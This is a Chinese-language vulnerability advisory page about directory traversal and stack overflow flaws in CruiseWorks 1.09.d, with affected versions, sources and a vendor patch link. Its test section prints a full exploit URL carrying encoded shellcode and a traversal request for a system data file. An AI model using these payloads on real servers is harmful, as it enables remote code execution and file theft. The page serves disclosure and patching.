 |
CruiseWorks目录遍历及缓冲区溢出漏洞 |
|
|
| CruiseWorks目录遍历及缓冲区溢出漏洞 |
|
| 作者：佚名 文章来源：不详 点击数： 更新时间：2007-1-26 15:08:29 |
|
2006-11-4 11:58:00
发布日期：2006-10-24
更新日期：2006-10-25
受影响系统：kynoslogic inc. Cruiseworks 1.09.d
kynoslogic inc. Cruiseworks 1.09.c 不受影响系统：kynoslogic inc. Cruiseworks 1.09.e 描述：
BUGTRAQ ID: 20699,20698
CruiseWorks是一款日语的办公协作软件。
CruiseWorks在显示文件之前没有正确过滤/scripts/cruise/cws.exe文件中对doc参数的输入，允许攻击者通过目录遍历攻击显示任意文件的内容。
此外，攻击者还可以通过向该参数发送超长（大于512字节）字符串触发栈溢出，导致执行任意指令。
<*来源：Tan Chew Keong （chewkeong@security.org.sg）
链接：http://secunia.com/advisories/22139/
http://marc.theaimsgroup.com/?l=bugtraq&m=116171297128672&w=2
http://vuln.sg/cruiseworks109d-en.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ 缓冲区溢出
http://www.example.com/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7C%3E%90%7C
目录遍历
http://www.example.com/Scripts/cruise/cws.exe?doc=../data/system.wdb
建议：
厂商补丁：
kynoslogic inc.
---------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.kynos.co.jp/cruise/cws/cwsdownload_upinfo1_09e.html
|
|
| 新闻录入：admin 责任编辑：admin |
|
|
上一篇新闻： PostgreSQL多个本地拒绝服务漏洞
下一篇新闻： QK SMTP远程栈溢出漏洞 |
|
|
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
 网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） |
|
|
|
|
|
